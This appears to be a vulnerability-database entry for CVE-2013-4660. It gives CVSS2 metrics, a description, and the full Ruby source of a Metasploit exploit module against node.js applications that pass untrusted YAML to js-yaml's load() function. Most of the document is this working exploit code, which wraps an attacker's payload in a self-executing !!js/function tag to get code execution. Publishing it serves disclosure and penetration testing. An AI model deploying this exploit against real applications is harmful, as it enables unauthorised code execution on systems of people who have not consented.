CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
This module can be used to abuse node.js applications that parse user-supplied YAML input using the load() function from the ‘js-yaml’ package < 2.0.5, which doesn’t properly handle the unsafe !!js/function tag, allowing to specify a self-executing function which results on execution of arbitrary javascript code.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Nodejs js-yaml load() Code Execution',
'Description' => %q{
This module can be used to abuse node.js applications that parse user-supplied YAML input
using the load() function from the 'js-yaml' package < 2.0.5, which doesn't properly handle
the unsafe !!js/function tag, allowing to specify a self-executing function which results
on execution of arbitrary javascript code.
},
'Author' =>
[
'Neal Poole', # Vulnerability discovery
'joev' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-4660'],
['OSVDB', '94656'],
['BID', '60867'],
['URL', 'https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/']
],
'Platform' => 'nodejs',
'Arch' => ARCH_NODEJS,
'Privileged' => false,
'Targets' => [['Automatic', {}]],
'DisclosureDate' => '2013-06-28',
'DefaultTarget' => 0))
register_options([
OptString.new('FILENAME', [ true, 'The file name.', 'msf.yml'])
])
end
def exploit
p = payload.encoded
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create("a: !!js/function >\n (function(){ #{p} })();")
end
end